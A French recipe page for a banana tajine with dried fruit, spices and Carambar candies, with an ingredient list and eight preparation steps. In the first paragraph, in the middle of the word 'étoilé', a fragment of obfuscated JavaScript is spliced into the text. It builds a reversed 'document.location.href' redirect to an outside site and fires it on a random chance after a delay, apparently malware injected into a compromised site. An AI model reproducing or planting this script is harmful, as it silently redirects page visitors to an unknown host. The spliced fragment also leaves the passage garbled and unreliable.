Tajine de bananes avec des fruits secs et des Carambars

2021-05-03

Pelez, coupez en rondelles épaisses les bananes. Faites les caraméliser dans une poêle avec la cassonade, la cannelle, l’anis étobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toilé et le brin de romarin. Versez le sirop de fruits sur les bananes

Ingrédients

  • Pour 4 personnes
  • 4 bananes
  • 1 cuillère à soupe de cassonade
  • 1 fleur anis étoilé
  • 20 cl de sirop de fruits
  • 1 cuillère à soupe d'amandes effilées
  • 2 citrons jaunes
  • 20 g de beurre
  • 1/2 bâton de cannelle
  • 1 brin de romarin
  • 4 cuillères à soupe de mélange de fruits secs (abricots - figues - dattes)
  • 1 cuillère à soupe de raisins de Smyrne
  • 4 Carambars

Préparation de la recette

Etape 1

Pelez, coupez en rondelles épaisses les bananes.

Etape 2

Faites les caraméliser dans une poêle avec la cassonade, la cannelle, l'anis étoilé et le brin de romarin.

Etape 3

Versez le sirop de fruits sur les bananes

Etape 4

Portez à ébullition ajoutez les fruits secs coupés en petits dés ainsi que les amandes effilées et les raisins Smyrne.

Etape 5

Laissez cuire sur feu très doux jusqu'à ce que les fruits soient fondants.

Etape 6

Ajoutez les jus de citron et les Carambars coupés en petits morceaux.

Etape 7

Prolongez la cuisson quelques minutes tout en mélangeant.

Etape 8

Répartissez dans des assiettes creuses avec l'ensemble des épices et dégustez

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